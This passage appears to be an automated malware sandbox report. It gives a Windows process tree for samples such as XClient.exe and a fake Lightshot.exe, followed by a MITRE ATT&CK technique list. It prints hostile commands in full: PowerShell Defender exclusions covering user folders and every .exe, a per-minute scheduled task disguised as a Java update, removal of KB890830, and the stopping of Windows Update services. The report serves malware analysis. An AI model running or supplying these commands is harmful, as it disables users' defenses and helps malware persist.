        Command and Scripting Interpreter: PowerShell
        
        PID:11156
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\ProgramData\Java Update(32bit).exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5812
  - - C:\Users\Admin\Desktop\a\XClient.exe
      "C:\Users\Admin\Desktop\a\XClient.exe"
      4⤵
      PID:10896
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\Desktop\a\XClient.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:3424
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'XClient.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:8892
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\ProgramData\Java Update(32bit).exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:1056
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'Java Update(32bit).exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5632
    - - C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "Java Update(32bit)" /tr "C:\ProgramData\Java Update(32bit).exe"
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:8092
  - - C:\Users\Admin\Desktop\a\AdobePDFReader.exe
      "C:\Users\Admin\Desktop\a\AdobePDFReader.exe"
      4⤵
      PID:4516
  - - C:\Users\Admin\Desktop\a\Coc%20Coc.exe
      "C:\Users\Admin\Desktop\a\Coc%20Coc.exe"
      4⤵
      PID:6152
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\95B6.tmp\95B7.tmp\95B8.bat C:\Users\Admin\Desktop\a\Coc%20Coc.exe"
        5⤵
        
        PID:2000
      - C:\Users\Admin\AppData\Roaming\portable_util.exe
        
        portable_util.exe --register-coccoc-portable --force-uid=3849d47c-687c-49be-b315-4e062899d124 --skip-import --skip-welcome --do-not-create-shortcut --force-regenerate-hid
        6⤵
        
        PID:9048
        
        C:\Users\Admin\AppData\Roaming\setup.exe
        
        "C:\Users\Admin\AppData\Roaming\setup.exe" --register-coccoc-portable --do-not-create-shortcut
        7⤵
        
        PID:8140
        
        C:\Users\Admin\AppData\Roaming\setup.exe
        
        C:\Users\Admin\AppData\Roaming\setup.exe --type=crashpad-handler /prefetch:7 --no-upload-gzip --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\CocCoc\Browser\User Data\Crashpad" --url=https://browser-crashes.coccoc.com/cr/report --annotation=channel= --annotation=plat=Win32 "--annotation=prod=Coc Coc" --annotation=ver=114.0.5735.210 --initial-client-data=0x31c,0x320,0x324,0x2f8,0x328,0x908088,0x908098,0x9080a4
        8⤵
        
        PID:8660
  - - C:\Users\Admin\Desktop\a\ghjaedjgaw.exe
      "C:\Users\Admin\Desktop\a\ghjaedjgaw.exe"
      4⤵
      PID:6804
- C:\Program Files\Mozilla Firefox\firefox.exe
  "C:\Program Files\Mozilla Firefox\firefox.exe"
  2⤵
  PID:9512
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe"
    3⤵
    PID:9564
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2304 -parentBuildID 20240401114208 -prefsHandle 2244 -prefMapHandle 2236 -prefsLen 21257 -prefMapSize 243020 -appDir "C:\Program Files\Mozilla Firefox\browser" - {9ebd8528-c7a6-44a0-a1d6-1957e5bf8196} 9564 "\\.\pipe\gecko-crash-server-pipe.9564" gpu
      4⤵
      PID:1120
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2676 -parentBuildID 20240401114208 -prefsHandle 2668 -prefMapHandle 2664 -prefsLen 21257 -prefMapSize 243020 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {92582280-973b-4f11-bbf6-4e82fe8aa8fd} 9564 "\\.\pipe\gecko-crash-server-pipe.9564" socket
      4⤵
      PID:5056
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3504 -childID 1 -isForBrowser -prefsHandle 3428 -prefMapHandle 3440 -prefsLen 21326 -prefMapSize 243020 -jsInitHandle 884 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {a652ad99-157a-43fb-a8a0-3cb9300af22a} 9564 "\\.\pipe\gecko-crash-server-pipe.9564" tab
      4⤵
      PID:6060
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3928 -childID 2 -isForBrowser -prefsHandle 3920 -prefMapHandle 3916 -prefsLen 22177 -prefMapSize 243020 -jsInitHandle 884 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {1b2ed0fe-cf2c-4ef5-8a83-6e1f25accaa5} 9564 "\\.\pipe\gecko-crash-server-pipe.9564" tab
      4⤵
      PID:5044
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5020 -parentBuildID 20240401114208 -prefsHandle 5096 -prefMapHandle 5056 -prefsLen 30004 -prefMapSize 243020 -appDir "C:\Program Files\Mozilla Firefox\browser" - {319fabbc-98e9-4f91-ab4b-84224b2250f0} 9564 "\\.\pipe\gecko-crash-server-pipe.9564" rdd
      4⤵
      PID:10456
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5260 -parentBuildID 20240401114208 -sandboxingKind 0 -prefsHandle 5276 -prefMapHandle 5292 -prefsLen 33458 -prefMapSize 243020 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {39cc7caf-e466-46ac-ac76-f06fe4278887} 9564 "\\.\pipe\gecko-crash-server-pipe.9564" utility
      4⤵
      PID:11032
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5304 -childID 3 -isForBrowser -prefsHandle 5428 -prefMapHandle 5424 -prefsLen 28381 -prefMapSize 243020 -jsInitHandle 884 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {888875eb-6757-4d64-b0dd-476e4df1e56c} 9564 "\\.\pipe\gecko-crash-server-pipe.9564" tab
      4⤵
      PID:11132
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5636 -childID 4 -isForBrowser -prefsHandle 5624 -prefMapHandle 5628 -prefsLen 28381 -prefMapSize 243020 -jsInitHandle 884 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {227a09ae-ebd0-4704-8340-6be5c1786e74} 9564 "\\.\pipe\gecko-crash-server-pipe.9564" tab
      4⤵
      PID:11160
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5784 -childID 5 -isForBrowser -prefsHandle 5840 -prefMapHandle 5844 -prefsLen 28381 -prefMapSize 243020 -jsInitHandle 884 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {f68f9fda-e24c-48e7-83a9-98ca42f4e38a} 9564 "\\.\pipe\gecko-crash-server-pipe.9564" tab
      4⤵
      PID:11172
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3796 -childID 6 -isForBrowser -prefsHandle 5880 -prefMapHandle 6224 -prefsLen 28631 -prefMapSize 243020 -jsInitHandle 884 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {2bcb2935-62de-4455-8207-800d3f141fff} 9564 "\\.\pipe\gecko-crash-server-pipe.9564" tab
      4⤵
      PID:7784
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=1640 -childID 7 -isForBrowser -prefsHandle 3744 -prefMapHandle 6072 -prefsLen 29701 -prefMapSize 243020 -jsInitHandle 884 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {dad98ed1-9457-415b-a8d1-e023609d3ff5} 9564 "\\.\pipe\gecko-crash-server-pipe.9564" tab
      4⤵
      PID:11116
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3068 -childID 8 -isForBrowser -prefsHandle 5664 -prefMapHandle 2020 -prefsLen 29701 -prefMapSize 243020 -jsInitHandle 884 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {fb3a68b1-d555-49d9-a6ff-e21e29c5fc86} 9564 "\\.\pipe\gecko-crash-server-pipe.9564" tab
      4⤵
      PID:7812
- C:\Program Files\Mozilla Firefox\firefox.exe
  "C:\Program Files\Mozilla Firefox\firefox.exe"
  2⤵
  PID:9992
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe"
    3⤵
    PID:9580

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3568

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:3744

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3896

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
- Suspicious use of UnmapMainImage
PID:3372

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:4956

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:5072

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
PID:4584

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:4480

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
1⤵
PID:4484

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
PID:4860

C:\Windows\system32\SppExtComObj.exe
C:\Windows\system32\SppExtComObj.exe -Embedding
1⤵
PID:3112

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:3388

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
PID:3484

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
PID:5004

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
1⤵
- Drops file in Windows directory
PID:2108

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc
1⤵
PID:1028

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s PcaSvc
1⤵
PID:2900

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" /automation -Embedding
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:5332

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
PID:5568

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:5860

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k WerSvcGroup
1⤵
PID:1840
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 2024 -ip 2024
  2⤵
  PID:1120

C:\ProgramData\Screenshots\Lightshot.exe
C:\ProgramData\Screenshots\Lightshot.exe
1⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:3804
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:816
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5468
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
  2⤵
  PID:6148
- - C:\Windows\system32\wusa.exe
    wusa /uninstall /kb:890830 /quiet /norestart
    3⤵
    PID:2692
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop UsoSvc
  2⤵
  - Launches sc.exe
  PID:6172
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop WaaSMedicSvc
  2⤵
  - Launches sc.exe
  PID:6748
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop wuauserv
  2⤵
  - Launches sc.exe
  PID:6680
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop bits
  2⤵
  - Launches sc.exe
  PID:6620
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop dosvc
  2⤵
  - Launches sc.exe
  PID:6568
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
  2⤵
  - Power Settings
  PID:6516
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
  2⤵
  - Power Settings
  PID:6504
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
  2⤵
  - Power Settings
  PID:6492
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
  2⤵
  - Power Settings
  PID:6488
- C:\Windows\system32\dialer.exe
  C:\Windows\system32\dialer.exe
  2⤵
  PID:6472
- C:\Windows\system32\dialer.exe
  C:\Windows\system32\dialer.exe
  2⤵
  PID:6392
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:5460
- - C:\ProgramData\Screenshots\Lightshot.exe
    "C:\ProgramData\Screenshots\Lightshot.exe"
    3⤵
    PID:5100
  - - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
      C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:7104
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
      4⤵
      PID:3496
    - - C:\Windows\system32\wusa.exe
        
        wusa /uninstall /kb:890830 /quiet /norestart
        5⤵
        
        PID:2104
  - - C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop UsoSvc
      4⤵
      Launches sc.exe
      PID:5744
  - - C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop WaaSMedicSvc
      4⤵
      Launches sc.exe
      PID:5188
  - - C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop wuauserv
      4⤵
      Launches sc.exe
      PID:6848
  - - C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop bits
      4⤵
      Launches sc.exe
      PID:6800
  - - C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop dosvc
      4⤵
      Launches sc.exe
      PID:6172
  - - C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
      4⤵
      Power Settings
      PID:6248
  - - C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
      4⤵
      Power Settings
      PID:2852
  - - C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
      4⤵
      Power Settings
      PID:2732
  - - C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
      4⤵
      Power Settings
      PID:6700
  - - C:\Windows\system32\dialer.exe
      C:\Windows\system32\dialer.exe
      4⤵
      PID:6420
  - - C:\Windows\system32\dialer.exe
      dialer.exe
      4⤵
      PID:6864
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:6548
- - C:\ProgramData\Screenshots\Lightshot.exe
    "C:\ProgramData\Screenshots\Lightshot.exe"
    3⤵
    PID:3804
  - - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
      C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:6616
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
      4⤵
      PID:3076
    - - C:\Windows\system32\wusa.exe
        
        wusa /uninstall /kb:890830 /quiet /norestart
        5⤵
        
        PID:4196
  - - C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop UsoSvc
      4⤵
      Launches sc.exe
      PID:736
  - - C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop WaaSMedicSvc
      4⤵
      Launches sc.exe
      PID:2524
  - - C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop wuauserv
      4⤵
      Launches sc.exe
      PID:1160
  - - C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop bits
      4⤵
      Launches sc.exe
      PID:5676
  - - C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop dosvc
      4⤵
      Launches sc.exe
      PID:5668
  - - C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
      4⤵
      Power Settings
      PID:4544
  - - C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
      4⤵
      Power Settings
      PID:4872
  - - C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
      4⤵
      Power Settings
      PID:5796
  - - C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
      4⤵
      Power Settings
      PID:4392
  - - C:\Windows\system32\dialer.exe
      C:\Windows\system32\dialer.exe
      4⤵
      PID:3884
  - - C:\Windows\system32\dialer.exe
      dialer.exe
      4⤵
      PID:4056
- C:\Windows\system32\dialer.exe
  dialer.exe
  2⤵
  PID:6868

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}
1⤵
PID:5868

C:\Windows\system32\backgroundTaskHost.exe
"C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca
1⤵
PID:816

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 492 -p 4928 -ip 4928
1⤵
PID:8352

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 460 -p 8296 -ip 8296
1⤵
PID:3460

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 560 -p 8936 -ip 8936
1⤵
PID:7704

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
PID:9644

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 240 -p 8500 -ip 8500
1⤵
PID:9548

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 584 -p 8124 -ip 8124
1⤵
PID:4568

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 600 -p 9332 -ip 9332
1⤵
PID:4432

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 596 -p 9548 -ip 9548
1⤵
PID:7412

C:\ProgramData\Screenshots\Lightshot.exe
C:\ProgramData\Screenshots\Lightshot.exe
1⤵
PID:2892
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:9996
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
  2⤵
  PID:10032
- - C:\Windows\system32\wusa.exe
    wusa /uninstall /kb:890830 /quiet /norestart
    3⤵
    PID:1276
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop UsoSvc
  2⤵
  - Launches sc.exe
  PID:4340
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop WaaSMedicSvc
  2⤵
  - Launches sc.exe
  PID:2856
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop wuauserv
  2⤵
  - Launches sc.exe
  PID:10828
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop bits
  2⤵
  - Launches sc.exe
  PID:1248
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop dosvc
  2⤵
  - Launches sc.exe
  PID:7340
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
  2⤵
  - Power Settings
  PID:8504
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
  2⤵
  - Power Settings
  PID:3972
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
  2⤵
  - Power Settings
  PID:10412
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
  2⤵
  - Power Settings
  PID:11060
- C:\Windows\system32\dialer.exe
  C:\Windows\system32\dialer.exe
  2⤵
  PID:6056

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 636 -p 10936 -ip 10936
1⤵
PID:6816

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 580 -p 10936 -ip 10936
1⤵
PID:1160

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 648 -p 9204 -ip 9204
1⤵
PID:4240

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 576 -p 8608 -ip 8608
1⤵
PID:5640

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

System Services

T1569

Service Execution

T1569.002

Windows Management Instrumentation

T1047

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Power Settings

T1653

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Indicator Removal

T1070

Clear Windows Event Logs

T1070.001

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Network Service Discovery

T1046

Query Registry

Remote System Discovery

T1018

System Information Discovery